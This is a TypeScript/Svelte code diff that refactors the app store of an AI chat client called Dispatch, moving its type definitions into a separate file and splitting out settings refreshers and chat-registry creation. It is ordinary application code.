+import { createWsHandlers } from "./ws-handlers";
const DEFAULT_MODEL = "opencode-1/deepseek-v4-flash";
-/** Outcome of a manual `POST /chat/warm` (the "warm now" affordance). */
-export type WarmResult =
- | { readonly ok: true; readonly response: WarmResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /conversations/:id/cwd`. */
-export type CwdResult =
- | { readonly ok: true; readonly cwd: string | null }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /conversations/:id/computer` (set/clear the per-conversation computer). */
-export type ComputerResult =
- | { readonly ok: true; readonly computerId: string | null }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `GET /computers/:alias/status` (the live connection state). */
-export type ComputerStatusResult =
- | { readonly ok: true; readonly response: ComputerStatusResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `POST /computers/:alias/test` (one-shot connectivity probe). */
-export type TestComputerResult =
- | { readonly ok: true; readonly response: TestComputerResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `GET /conversations/:id/lsp`. */
-export type LspResult =
- | { readonly ok: true; readonly response: LspStatusResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `GET /conversations/:id/mcp`. */
-export type McpResult =
- | { readonly ok: true; readonly response: McpStatusResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /conversations/:id/reasoning-effort`. */
-export type ReasoningEffortResult =
- | { readonly ok: true; readonly reasoningEffort: ReasoningEffort }
- | { readonly ok: false; readonly error: string };
-
-/**
- * Outcome of `PUT /conversations/:id/thinking` (PROPOSED — see
- * `backend-handoff.md`; the endpoint is not yet shipped by the backend).
- */
-export type ThinkingResult =
- | { readonly ok: true; readonly thinking: boolean }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `POST /conversations/:id/compact` (manual compaction). */
-export type CompactResult =
- | { readonly ok: true; readonly response: CompactResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /conversations/:id/compact-percent`. */
-export type CompactPercentResult =
- | { readonly ok: true; readonly percent: number }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /settings/vision` (global vision-settings save). */
-export type VisionSettingsResult =
- | { readonly ok: true; readonly settings: VisionSettings }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `GET /system-prompt` (global template load). */
-export type SystemPromptLoadResult =
- | { readonly ok: true; readonly template: string }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /system-prompt` (global template save). */
-export type SystemPromptSaveResult = SystemPromptLoadResult;
-
-/** Outcome of `GET /system-prompt/variables` (variable catalog). */
-export type SystemPromptVariablesResult =
- | { readonly ok: true; readonly variables: readonly SystemPromptVariable[] }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of persisting a chat-limit setting (localStorage; FE-local). */
-export type ChatLimitResult =
- | { readonly ok: true; readonly chatLimit: number }
- | { readonly ok: false; readonly error: string };
-
-export interface AppStore {
- readonly tabs: readonly Tab[];
- readonly activeConversationId: string | null;
- /** The workspace currently in view (URL slug); tabs are filtered to it. */
- readonly activeWorkspaceId: string;
- /**
- * The resolved HTTP API base URL (e.g. `http://localhost:24203`). Used to
- * resolve relative image URLs served by the backend (`/images/…`) into
- * absolute URLs for `<img src>`.
- */
- readonly httpBase: string;
- readonly activeChat: ChatStore;
- readonly models: readonly string[];
- /** Per-model metadata (contextWindow, etc.) from `GET /models`. */
- readonly modelInfo: Readonly<Record<string, ModelMetadata>>;
- readonly activeModel: string;
- readonly catalog: ProtocolState["catalog"];
- /** Every received surface spec, in catalog order — all auto-subscribed + expanded. */
- readonly surfaces: readonly SurfaceSpec[];
- readonly lastError: ProtocolState["lastError"];
- /** The localStorage instance the store uses for persistence (tabs, chatLimit).
- * Exposed so the shell can persist sidebar layout via the same adapter. */
- readonly storage: Storage | undefined;
- /** The current spec for one surface by id (discovery-by-id), or null if absent. */
- surface(surfaceId: string): SurfaceSpec | null;
- /**
- * Send a user message (start a turn). Forwards any staged `images`
- * (`ImageInput[]` — base64 data URLs / https URLs) on the `chat.send` op;
- * the server passes them to a vision-capable model natively or transcribes
- * them via vision handoff for a non-vision model. Omitted on the wire when
- * none are staged. On a draft, promotes to a tab first.
- */
- send(text: string, images?: readonly ImageInput[]): void;
- /**
- * Enqueue a steering message onto the focused conversation's queue
- * (`chat.queue` WS op). While a turn is generating, the message is delivered
- * mid-turn at the next tool-result boundary; when idle, the server
- * auto-starts a turn (equivalent to `send`). Safe to offer whenever the user
- * wants to add input — the server owns the idle-vs-generating decision.
- */
- queueMessage(text: string): void;
- /**
- * Cancel (remove) a single queued steering message by id so it never runs
- * (`chat.queue.cancel` WS op). Fire-and-forget + idempotent: the
- * message-queue surface update reconciles the queue UI (the cancelled message
- * leaves the snapshot). Targets the focused conversation's queue. The caller
- * optimistically hides the row; a cancel of an already-drained / unknown
- * message is a silent server no-op (nothing to roll back).
- */
- cancelQueuedMessage(messageId: string): void;
- /** Select a raw model for the active conversation. Pass `snapshot` to record a Named Agent selection (plan §7). */
- selectModel(model: string, snapshot?: NamedAgentSelectionSnapshot): void;
- newDraft(): void;
- /** Switch the active workspace (on route change) + reset to a fresh draft in it. */
- setActiveWorkspace(workspaceId: string): void;
- selectTab(conversationId: string): void;
- closeTab(conversationId: string): void;
- renameTab(conversationId: string, title: string): void;
- /**
- * Move a tab into a subagent group (the tab group parent's id) or out of
- * any group (null). Purely presentational (NOT lineage): applied
- * optimistically, persisted via `PUT /conversations/:id/tab-group` (synced
- * to other clients by `conversation.tabGroupChanged`), reverted on failure.
- */
- setTabGroup(conversationId: string, parentId: string | null): void;
- invoke(surfaceId: string, actionId: string, payload?: unknown): void;
- /**
- * Explicitly (re-)subscribe one surface, scoped to `conversationId` (or the
- * focused conversation when absent) — the frontend-plugin ABI's
- * `surfaces.subscribe` path (plan 03). The app auto-subscribes every
- * catalog entry; this is the re-assertion port (same wire semantics).
- */
- subscribeSurface(surfaceId: string, conversationId?: string): void;
- /** Drop one surface's subscription (the ABI's `surfaces.unsubscribe`). */
- unsubscribeSurface(surfaceId: string, conversationId?: string): void;
- /**
- * Manually warm the focused conversation's prompt cache (`POST /chat/warm`).
- * Returns null when no conversation is focused (a draft has nothing to warm).
- */
- warmNow(): Promise<WarmResult | null>;
- /** The workspace conversation's persisted working directory, or null when unset. */
- readonly cwd: string | null;
- /** The conversation workspace settings target: the active tab, or the pending draft's id. */
- readonly currentConversationId: string;
- /**
- * Set the workspace conversation's working directory (`PUT /conversations/:id/cwd`).
- * Works for a draft too (its id survives promotion), so the first turn runs in it.
- */
- setCwd(cwd: string): Promise<CwdResult | null>;
- /**
- * The workspace conversation's persisted computer (an SSH `Host` alias), or
- * null when never set / local. Seeded from the backend on focus change.
- */
- readonly computerId: string | null;
- /**
- * Persist the workspace conversation's computer (`PUT /conversations/:id/computer`).
- * Pass null to clear → the conversation inherits the workspace default → local.
- * Works for a draft too (its id survives promotion). Not seen by the agent — a
- * user-facing tool-execution target only.
- */
- setComputer(computerId: string | null): Promise<ComputerResult | null>;
- /**
- * Every remote computer discovered from the user's `~/.ssh/config`
- * (`GET /computers`), fetched on boot. Read-only — there is no Computer CRUD
- * (the user edits their ssh config to add one). Empty until the `ssh`
- * extension lands.
- */
- readonly computers: readonly ComputerEntry[];
- /**
- * The live connection state of a computer (`GET /computers/:alias/status`):
- * whether Dispatch currently holds an open SSH session to it. Returns null
- * only if no alias is given (the focused conversation is local). Polled by the
- * `ComputerField` while a computer is selected.
- */
- computerStatus(alias: string): Promise<ComputerStatusResult | null>;
- /**
- * One-shot connectivity probe (`POST /computers/:alias/test`): Dispatch opens
- * an SSH connection to the alias, runs a trivial command, then closes. `ok` is
- * true on success; `error` carries the failure reason otherwise.
- */
- testComputer(alias: string): Promise<TestComputerResult | null>;
- /**
- * The workspace conversation's persisted reasoning effort, or null when never
- * set (the server then resolves turns at the default, `"high"`).
- */
- readonly reasoningEffort: ReasoningEffort | null;
- /**
- * Persist the workspace conversation's reasoning effort
- * (`PUT /conversations/:id/reasoning-effort`). Works for a draft too (its id
- * survives promotion), so the first turn already runs at the chosen level.
- * Takes effect from the NEXT turn; resolution stays server-owned.
- */
- setReasoningEffort(level: ReasoningEffort): Promise<ReasoningEffortResult | null>;
- /**
- * The workspace conversation's persisted thinking flag, or null when never
- * set (the server then resolves turns with thinking ON — the default).
- * `false` ⇒ thinking disabled entirely (the SEPARATE "off" axis — NOT a
- * zero-effort level; the umans route maps it to `reasoning_effort: "none"`).
- * PROPOSED backend contract — see `backend-handoff.md`.
- */
- readonly thinking: boolean | null;
- /**
- * Persist the workspace conversation's thinking flag
- * (`PUT /conversations/:id/thinking`). Works for a draft too (its id survives
- * promotion), so the first turn already runs with the chosen setting. Takes
- * effect from the NEXT turn; resolution stays server-owned.
- * PROPOSED backend contract — see `backend-handoff.md`.
- */
- setThinking(enabled: boolean): Promise<ThinkingResult | null>;
- /**
- * Manually trigger conversation compaction (`POST /conversations/:id/compact`).
- * Summarizes old messages + retains the most recent N. Returns null when no
- * conversation is focused (a draft has nothing to compact).
- */
- compactNow(keepLastN?: number): Promise<CompactResult | null>;
- /**
- * Stop an in-flight generation (`POST /conversations/:id/stop`). Aborts the
- * turn without closing the conversation — partial messages are persisted, the
- * turn seals with `reason: "aborted"`, and the conversation goes `active → idle`.
- * Returns null when no conversation is focused.
- */
- stopGeneration(): void;
- /**
- * The workspace conversation's auto-compact percent (0-100). `0` = disabled
- * (manual only); a positive number = auto-compact triggers when the last
- * turn's input tokens exceed it. Seeded from the backend on focus change.
- */
- readonly compactPercent: number | null;
- /**
- * Persist the workspace conversation's auto-compact percent
- * (`PUT /conversations/:id/compact-percent`). `0` disables; 1-100 sets the
- * trigger percentage of the model's context window. Default (null) is 85.
- * number enables. Works for a draft too (its id survives promotion).
- */
- setCompactPercent(percent: number): Promise<CompactPercentResult | null>;
- /**
- * The GLOBAL vision settings (`GET /settings/vision`): `imageLimit` (max
- * native images per turn before compaction; 0 = disabled) + `compactionModel`
- * (which vision model transcribes old images; null = auto). Shared across all
- * conversations. Seeded on boot; `null` = not yet fetched.
- */
- readonly visionSettings: VisionSettings | null;
- /**
- * Refetch the global vision settings (`GET /settings/vision`). Called by the
- * vision-settings view on mount; also seeded on boot.
- */
- refreshVisionSettings(): Promise<void>;
- /**
- * Save a PARTIAL vision-settings update (`PUT /settings/vision`). Either
- * field may be omitted. Returns the merged settings on success.
- */
- setVisionSettings(patch: VisionSettingsPatch): Promise<VisionSettingsResult | null>;
- /**
- * Fetch the workspace conversation's language-server status (`GET /conversations/:id/lsp`).
- * The backend lazily spawns servers, so this may take a moment on the first call for a cwd.
- */
- lspStatus(): Promise<LspResult | null>;
- /**
- * Fetch the workspace conversation's MCP server status (`GET /conversations/:id/mcp`).
- * Mirrors the LSP status endpoint: returns `{cwd, servers}` with empty `servers`
- * when no cwd is set; the backend lazily connects servers, so this may take a
- * moment on the first call for a cwd.
- */
- mcpStatus(): Promise<McpResult | null>;
- /**
- * Load the global system prompt template (`GET /system-prompt`). The template is
- * conversation-agnostic; it is resolved once per conversation on first turn and
- * persisted for prompt-cache safety.
- */
- loadSystemPrompt(): Promise<SystemPromptLoadResult>;
- /**
- * Persist the global system prompt template (`PUT /system-prompt`). Changes apply
- * to new conversations on their first turn; existing conversations keep their
- * resolved system prompt until compaction.
- */
- setSystemPrompt(template: string): Promise<SystemPromptSaveResult>;
- /**
- * Load the static catalog of available system prompt variables (`GET /system-prompt/variables`).
- * Used by the builder to render the variable selector buttons.
- */
- loadSystemPromptVariables(): Promise<SystemPromptVariablesResult>;
- /** The persisted chat limit (max loaded chunks per conversation). */
- readonly chatLimit: number;
- /**
- * A conversation's backend lifecycle status (`active`/`idle`/`closed`), or
- * `undefined` when unknown. Drives the tab-bar generating indicator
- * (cross-device: a tab spinning because another device's turn is running).
- */
- conversationStatus(conversationId: string): ConversationStatus | undefined;
- /**
- * Whether at least one conversation in the given workspace is currently
- * active or queued (generating / waiting for a concurrency slot) — drives
- * the loading-dots indicator on workspace cards. Backed by a once-derived
- * `activeWorkspaces` set (the open-tab set × the backend lifecycle statuses)
- * so this is an O(1) lookup, not a per-card scan of the full tab list.
- * Reactive: the set is a `$derived`, so a Svelte template expression calling
- * this re-runs when the tab set or status map changes.
- */
- workspaceHasActiveConversations(workspaceId: string): boolean;
- /**
- * Persist + live-apply a new chat limit: writes `dispatch.chatLimit` to
- * localStorage and propagates to every live chat store (trim if lower,
- * deferred via the unload gate while a reader is scrolled up; no-op if
- * higher — page unloaded history back in via "Show earlier"). Stores created
- * afterwards pick the new limit up at creation. Always succeeds (FE-local).
- */
- setChatLimit(limit: number): Promise<ChatLimitResult>;
- /**
- * Wire the chat-limit unload gate (composition-root injection, called once by
- * the shell after it owns the scroll region): unloading old chunks is allowed
- * only while the gate returns true — i.e. the reader is stuck to the bottom —
- * so a trim never yanks content out from under someone reading history.
- * Before attachment unloading is allowed (the initial view starts at the
- * bottom).
- */
- attachUnloadGate(gate: () => boolean): void;
- /**
- * Load the active workspace's heartbeat config
- * (`GET /workspaces/:id/heartbeat`). Workspace-scoped (NOT per-conversation):
- * the backend runs an autonomous agent loop on a configured interval, writing
- * each run into a dedicated conversation. The config covers the system/task
- * prompts, model, reasoning effort, interval, and an enabled flag.
- */
- heartbeatConfig(): Promise<HeartbeatConfigResult>;
- /**
- * Persist a partial heartbeat config patch
- * (`PUT /workspaces/:id/heartbeat`). The backend merges the patch onto the
- * stored config; returns the full updated config.
- */
- setHeartbeatConfig(patch: HeartbeatConfigPatch): Promise<HeartbeatConfigResult>;
- /**
- * Load the active workspace's heartbeat run history
- * (`GET /workspaces/:id/heartbeat/runs`). Each run references the conversation
- * it wrote to — open one via {@link watchConversation} to see its chat live.
- */
- heartbeatRuns(): Promise<HeartbeatRunsResult>;
- /**
- * Stop a running heartbeat run (`POST /workspaces/:id/heartbeat/runs/:runId/stop`).
- * The run's in-flight turn seals (its conversation keeps streaming until it
- * ends); the run's status flips to `stopped` (visible on the next runs poll).
- */
- stopHeartbeatRun(runId: string): Promise<HeartbeatStopResult>;
- /**
- * Fetch the server-authoritative next-run timestamp
- * (`GET /workspaces/:id/heartbeat/next-run`) — when the next heartbeat run
- * will fire (ISO 8601), or null when disabled / no run scheduled. The FE shows
- * a live countdown from this. When the endpoint is absent (404 — backend
- * hasn't shipped CR-HB-3 yet) it returns `ok: false` so the FE falls back to
- * an approximation from the runs + config.
- */
- heartbeatNextRun(): Promise<HeartbeatNextRunResult>;
- /**
- * Open a "watch" on a conversation for a modal viewer (the heartbeat run-chat
- * modal): ensures a live {@link ChatStore} for the conversation, subscribing
- * to its turn stream (`chat.subscribe`) + loading history. Reuses the open
- * tab's store if the conversation is already a tab; otherwise creates an
- * EPHEMERAL watch store (separate from tabs — never opens a tab). Deltas are
- * routed to it automatically. Pair every open with {@link unwatchConversation}
- * on close to unsubscribe + dispose the ephemeral store.
- */
- watchConversation(conversationId: string): ChatStore;
- /** Dispose + unsubscribe a watch opened by {@link watchConversation}. */
- unwatchConversation(conversationId: string): void;
- /**
- * Load all configured per-provider concurrency limits
- * (`GET /concurrency/limits`). Global (not workspace-scoped). Returns an empty
- * list when the concurrency extension isn't loaded (`{ limits: [] }`).
- */
- concurrencyLimits(): Promise<ConcurrencyLimitsResult>;
- /**
- * Fetch the configured limit for one provider
- * (`GET /concurrency/limits/:providerId`). `404` (no limit configured) and
- * `503` (extension not loaded) both surface as `ok: false`.
- */
- getConcurrencyLimit(providerId: string): Promise<ConcurrencyLimitResult>;
- /**
- * Set or update a provider's concurrency limit
- * (`PUT /concurrency/limits/:providerId`, body `{ limit }`). `limit` must be a
- * positive integer (a non-positive body is `400`). At the cap, further requests
- * queue oldest-agent-first rather than being sent immediately.
- */
- setConcurrencyLimit(providerId: string, limit: number): Promise<ConcurrencyLimitResult>;
- /**
- * Remove a provider's concurrency limit (`DELETE /concurrency/limits/:providerId`),
- * making it unlimited. `404` (not configured) and `503` (extension not loaded)
- * both surface as `ok: false`.
- */
- deleteConcurrencyLimit(providerId: string): Promise<ConcurrencyDeleteResult>;
- /**
- * Fetch live concurrency status for every provider with a configured limit
- * (`GET /concurrency/status`): in-flight slots held, agents queued, and a paused
- * state with a `pausedUntil` epoch-ms when a 429 backoff is in effect. Each
- * entry also carries the per-slot release `cooldownMs` + an `autoReduced` flag
- * (true when a 429 auto-reduced the limit by 1; the FE renders a banner). Returns
- * an empty list when the extension isn't loaded (`{ providers: [] }`).
- */
- concurrencyStatus(): Promise<ConcurrencyStatusResult>;
- /**
- * Load Claude + Codex subscription usage (`GET /usage`). Served from the
- * backend's cache (5 min TTL); `refresh: true` sends `?refresh=1`, which the
- * server still rate-limits (min interval + failure cooldown). A 503 (the
- * `account-usage` extension isn't loaded) returns `unavailable: true`.
- */
- accountUsage(opts?: { readonly refresh?: boolean }): Promise<AccountUsageResult>;
- /**
- * Update a provider's usage settings (`PUT /usage/:provider/settings`; today
- * only `hyper`: `dailyAllowance` + `resetAnchor` epoch-ms or null). Returns
- * the provider's refreshed report.
- */
- setAccountUsageSettings(
- provider: AccountUsageProviderId,
- settings: UpdateAccountUsageSettingsRequest,
- ): Promise<AccountUsageSettingsResult>;
- /**
- * Load the GLOBAL search-backend selection
- * (`GET /search/config`): which engine backs the `web_search` tool's search
- * mode. Not workspace-scoped — the selection is global. `unavailable: true`
- * on the failure variant marks the 503 degrade (the backend's
- * search-config service not loaded) so the UI can disable the field.
- */
- searchBackendConfig(): Promise<SearchBackendConfigResult>;
- /**
- * Persist a new search-backend selection
- * (`PUT /search/config`, body `{ backend }`). `400` (unknown/unconfigured
- * backend) and `503` (service not loaded) both surface as `ok: false`.
- */
- setSearchBackend(backend: string): Promise<SearchBackendConfigResult>;
- /**
- * Fetch the per-slot release cooldown (ms) for one provider
- * (`GET /concurrency/cooldown/:providerId`). `404` (no concurrency config at
- * all) and `503` (extension not loaded) both surface as `ok: false`.
- */
- getConcurrencyCooldown(providerId: string): Promise<ConcurrencyCooldownResult>;
- /**
- * Set the per-slot release cooldown (ms) for one provider
- * (`PUT /concurrency/cooldown/:providerId`, body `{ cooldownMs }`). `cooldownMs`
- * must be a non-negative integer (0 = no cooldown / instant re-admission); an
- * invalid body is `400`. Persists + applies to subsequently recycled slots.
- */
- setConcurrencyCooldown(
- providerId: string,
- cooldownMs: number,
- ): Promise<ConcurrencyCooldownResult>;
- /**
- * A critical error that blocks normal operation (e.g. the cross-device tab
- * restore fetch failed). When non-null, a full-screen modal is shown with the
- * error details. Cleared by `clearFatalError` (the modal's dismiss button).
- */
- readonly fatalError: string | null;
- /** Dismiss the fatal error (called by the error modal's X button). */
- clearFatalError(): void;
- // ── Named Agents (global config; plan §9) ──────────────────────────────────
- /**
- * The persisted Named Agents (from `GET /named-agents`). Global user config
- * (not per-workspace); seeded on boot. Drives the sidebar editor AND the
- * synthetic "Named Agents" provider in the model selector (plan §6).
- */
- readonly namedAgents: readonly NamedAgent[];
- /**
- * The active conversation's Named Agent selection snapshot (plan §7), or null
- * when it was selected via a raw model. Survives the Named Agent being renamed
- * / removed (the snapshot retains the friendly label + captured raw model).
- */
- readonly namedAgentSnapshot: NamedAgentSelectionSnapshot | null;
- /** Refetch the Named Agents (`GET /named-agents`). */
- refreshNamedAgents(): Promise<NamedAgentsResult>;
- // ── Plugins (plan 07) ──────────────────────────────────────────────────────
- /**
- * The plugin manager + per-workspace enablement store (one instance per
- * app store). The workspaces page's manager/modal read + mutate through
- * it; the app store feeds its `onExtensionsChanged` hook.
- */
- readonly plugins: PluginsStore;
- /**
- * The ACTIVE workspace's tile tree (plan 02): served by the backend's
- * layout provider when one is active, the local default otherwise. The
- * shell reads `tree` for the renderer and feeds edits back through
- * `onTreeChange` (debounced PUT + rollback); the store owns the probes,
- * the WS-push filter, and the no-provider degrade.
- */
- readonly layout: LayoutStore;
- /**
- * The home grid's synced tile layout (ONE shared document per device
- * orientation — `wide` = landscape/desktop, `tall` = portrait/mobile),
- * served by the backend's home-tile-layout plugin. The home page locks the
- * active orientation to the resolved grid geometry; this store owns the
- * probes, the WS-push filter, the debounced PUT + rollback, and the
- * offline degrade.
- */
- readonly tileLayout: TileLayoutStore;
- /**
- * Loaded provider-tier plugins effectively enabled in the ACTIVE workspace
- * (`GET /workspaces/:id/plugins/providers-status`). `null` = unknown — the
- * first-boot guardrail renders only on a confident `0` (§7).
- */
- readonly enabledProviderCount: number | null;
- /**
- * Create a Named Agent (`POST /named-agents`). On success the store's
- * `namedAgents` list is updated (append/replace) so every consumer — the
- * sidebar editor AND the model selector — reflects it without a reload.
- */
- createNamedAgent(input: NamedAgentInput): Promise<NamedAgentSaveResult>;
- /**
- * Update a Named Agent (`PUT /named-agents/:id`). On success the store list is
- * updated in place. Returns the canonical saved record.
- */
- updateNamedAgent(id: string, input: NamedAgentInput): Promise<NamedAgentSaveResult>;
- /**
- * Remove a Named Agent (`DELETE /named-agents/:id`). On success it leaves the
- * store list immediately (removing it from the sidebar + model selector), and
- * does NOT alter conversations that previously selected it (those keep their
- * snapshot — plan §7).
- */
- deleteNamedAgent(id: string): Promise<NamedAgentDeleteResult>;
- dispose(): void;
-}
-
-export interface CreateAppStoreOptions {
- url?: string;
- httpUrl?: string;
- socketFactory?: (url: string) => WebSocketLike;
- fetchImpl?: typeof fetch;
- indexedDB?: IDBFactory;
- conversationId?: string;
- localStorage?: Storage;
- /** The workspace to scope to at boot (its URL slug); "default" if absent. */
- workspaceId?: string;
- /**
- * How live chat events are batched before folding into a chat store.
- * Default: once per animation frame (with a timeout fallback for hidden
- * tabs). `null` = fold every event synchronously (tests that assert on the
- * transcript immediately after feeding a frame).
- */
- chatFlushScheduler?: ((flush: () => void) => void) | null;
-}
-
-function createHistorySync(httpBase: string, fetchImpl: typeof fetch): HistorySync {
- return async (conversationId, sinceSeq, window) => {
- let url = `${httpBase}/conversations/${encodeURIComponent(conversationId)}?sinceSeq=${sinceSeq}`;
- // CR-5 windowing ([email protected]): both must be positive
- // integers when present (the server 400s otherwise; callers guarantee it).
- if (window?.limit !== undefined) url += `&limit=${window.limit}`;
- if (window?.beforeSeq !== undefined) url += `&beforeSeq=${window.beforeSeq}`;
- const res = await fetchImpl(url);
- if (!res.ok) {
- throw new Error(`History sync failed: ${res.status}`);
- }
- return (await res.json()) as ConversationHistoryResponse;
- };
-}
-
-function createMetricsSync(httpBase: string, fetchImpl: typeof fetch): MetricsSync {
- return async (conversationId: string) => {
- const url = `${httpBase}/conversations/${encodeURIComponent(conversationId)}/metrics`;
- const res = await fetchImpl(url);
- if (!res.ok) return { turns: [] };
- return (await res.json()) as ConversationMetricsResponse;
- };
-}
-
-/** Replace-or-append a Named Agent into a list (immutably), keyed by id. */
-function upsertNamedAgentList(
- agents: readonly NamedAgent[],
- agent: NamedAgent,
-): readonly NamedAgent[] {
- const idx = agents.findIndex((a) => a.id === agent.id);
- if (idx === -1) return [...agents, agent];
- return agents.map((a) => (a.id === agent.id ? agent : a));
-}
+export type {
+ AppStore,
+ ChatLimitResult,
+ CompactPercentResult,
+ CompactResult,
+ ComputerResult,
+ ComputerStatusResult,
+ CreateAppStoreOptions,
+ CwdResult,
+ LspResult,
+ McpResult,
+ ReasoningEffortResult,
+ SystemPromptLoadResult,
+ SystemPromptSaveResult,
+ SystemPromptVariablesResult,
+ TestComputerResult,
+ ThinkingResult,
+ VisionSettingsResult,
+ WarmResult,
+} from "./store-types";
export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
- let protocol = $state<ProtocolState>(protocolInitialState());
- let models = $state<readonly string[]>([]);
- let modelInfo = $state<Readonly<Record<string, ModelMetadata>>>({});
- // Discovered SSH computers (`GET /computers`). Global (like `models`); empty
- // until the `ssh` extension lands. Read-only — no CRUD (the user edits their
- // `~/.ssh/config`).
- let computers = $state<readonly ComputerEntry[]>([]);
let activeModel = $state(DEFAULT_MODEL);
- // The persisted Named Agents (global user config). Seeded from the backend on
- // boot + kept in sync by the CRUD methods; drives both the sidebar editor and
- // the synthetic model-selector provider.
- let namedAgents = $state<readonly NamedAgent[]>([]);
// The active conversation's Named Agent snapshot (null when selected via a raw
// model). Derived from the active tab; survives a Named Agent being edited.
let namedAgentSnapshot = $state<NamedAgentSelectionSnapshot | null>(null);
let fatalError = $state<string | null>(null);
- /**
- * Loaded provider-tier plugins effectively enabled in the ACTIVE workspace
- * (`GET /workspaces/:id/plugins/providers-status`, plan 06 §6.5). `null` =
- * unknown (not fetched yet / endpoint missing) — the first-boot guardrail
- * shows only on a confident `0` (§7).
- */
- let enabledProviderCount = $state<number | null>(null);
-
- /** Replace-or-append a Named Agent into the reactive list (immutably). */
- function upsertNamedAgent(agent: NamedAgent): void {
- namedAgents = upsertNamedAgentList(namedAgents, agent);
- }
-
// The workspace currently in view (its URL slug); "default" until routing
// sets it. Tabs are filtered to this workspace; a new conversation is stamped
// with it on `chat.send`.
@@ -816,205 +138,49 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
// the debounced PUT + rollback, and the offline degrade.
const tileLayoutStore = createTileLayoutStore({
http: createTileLayoutHttp(httpBase, fetchImpl),
+ initialMode:
+ typeof window === "undefined"
+ ? "wide"
+ : geometryFor(window.innerWidth, window.innerHeight).mode,
+ storage: localStorageOpt,
});
- /**
- * Refetch the model catalog for the ACTIVE workspace
- * (`GET /models?workspaceId=`, plan 06 §6.5 — workspace-aware; a backend
- * without the param returns the global catalog, which stays correct).
- * Re-run on boot, on every workspace switch, and on `extensions-changed`
- * (a provider toggled in another client updates the picker here too).
- */
- async function refreshModels(): Promise<void> {
- try {
- const res = await fetchImpl(
- `${httpBase}/models?workspaceId=${encodeURIComponent(activeWorkspaceId)}`,
- );
- if (!res.ok) return;
- const data = (await res.json()) as ModelsResponse;
- // Defensive: a malformed/SPA-fallback response must never poison the
- // picker with a non-array (the old boot chain had the same exposure).
- if (!Array.isArray(data.models)) return;
- models = data.models;
- modelInfo = data.modelInfo ?? {};
- } catch (err) {
- reportError("Failed to load model list", err);
- }
- }
-
- /**
- * Refetch the active workspace's provider status (the §6.5 first-boot
- * guardrail signal). Guarded against a slow response losing a race with a
- * workspace switch (only the CURRENT workspace's result lands). Non-JSON
- * 200 (SPA fallback — endpoint not shipped) leaves it null (no prompt).
- */
- async function refreshProviderStatus(): Promise<void> {
- const workspaceId = activeWorkspaceId;
- try {
- const res = await fetchImpl(
- `${httpBase}/workspaces/${encodeURIComponent(workspaceId)}/plugins/providers-status`,
- );
- if (!res.ok) {
- if (workspaceId === activeWorkspaceId) enabledProviderCount = null;
- return;
- }
- const contentType = res.headers.get("content-type") ?? "";
- if (!contentType.includes("application/json")) return;
- const data = (await res.json()) as { enabledProviderCount?: number };
- if (workspaceId === activeWorkspaceId) {
- enabledProviderCount =
- typeof data.enabledProviderCount === "number" ? data.enabledProviderCount : null;
- }
- } catch {
- // Non-fatal: the guardrail just stays hidden (null) when the endpoint
- // is unreachable.
- if (workspaceId === activeWorkspaceId) enabledProviderCount = null;
- }
- }
+ const refreshers = createSettingsRefreshers({
+ httpBase,
+ fetchImpl,
+ activeWorkspaceId: () => activeWorkspaceId,
+ reportError,
+ });
const storageAdapter = createLocalStore<TabsState>("dispatch.tabs", {
storage: localStorageOpt,
});
const tabsStore: TabsStore = createTabsStore(storageAdapter);
- // The chat limit (max loaded chunks per conversation) — a persisted local
- // setting surfaced in the sidebar's Settings view. Reactive so the field +
- // any live-apply re-trim update together. The default is written back on
- // first run so the knob is discoverable in localStorage too.
- const chatLimitStore = createLocalStore<number>("dispatch.chatLimit", {
+ const registry = createChatRegistry({
storage: localStorageOpt,
+ tabsStore,
+ createCache: () =>
+ createConversationCache(createIdbChunkStore({ indexedDB: indexedDBFactory })),
+ historySync: createHistorySync(httpBase, fetchImpl),
+ metricsSync: createMetricsSync(httpBase, fetchImpl),
+ defaultModel: DEFAULT_MODEL,
+ activeModel: () => activeModel,
+ activeWorkspaceId: () => activeWorkspaceId,
+ send: (msg) => socket?.send(msg),
+ reportError,
+ chatFlushScheduler: opts?.chatFlushScheduler,
});
- const storedChatLimit = chatLimitStore.load();
- const normalizedChatLimit = normalizeChatLimit(storedChatLimit);
- let chatLimit = $state(normalizedChatLimit);
- if (storedChatLimit === null) {
- chatLimitStore.save(normalizedChatLimit);
- }
-
- // Unload gate — attached by the shell once it owns the scroll region (see
- // `AppStore.attachUnloadGate`). Until then, unloading is allowed.
- let unloadGate: (() => boolean) | null = null;
-
- const cache: ConversationCache = createConversationCache(
- createIdbChunkStore({ indexedDB: indexedDBFactory }),
- );
-
- const historySync = createHistorySync(httpBase, fetchImpl);
- const metricsSync = createMetricsSync(httpBase, fetchImpl);
-
- const chatStores = new Map<string, ChatStore>();
-
- // Ephemeral chat stores for MODAL viewers (the heartbeat run-chat modal): a
- // watch on a conversation's live turn stream WITHOUT opening a tab. Separate
- // from `chatStores` (tabs) so closing a modal never disturbs the tab strip,
- // and a tab's conversation reuses its own store (see `watchConversation`).
- // Deltas are routed here in addition to `chatStores`.
- const watchStores = new Map<string, ChatStore>();
-
- /**
- * Coalesce live chat events to at most one fold + render per animation
- * frame (a late-join replay of a long turn arrives as a burst of WS frames;
- * folding each separately re-derives the whole transcript per frame). A
- * timeout backs up rAF, which browsers pause in hidden tabs — a backgrounded
- * tab still applies its events (just less often).
- */
- function scheduleChatFlush(flush: () => void): void {
- let ran = false;
- const run = (): void => {
- if (ran) return;
- ran = true;
- flush();
- };
- if (typeof requestAnimationFrame === "function") requestAnimationFrame(run);
- setTimeout(run, 250);
- }
-
- const chatFlushScheduler =
- opts?.chatFlushScheduler === undefined ? scheduleChatFlush : opts.chatFlushScheduler;
-
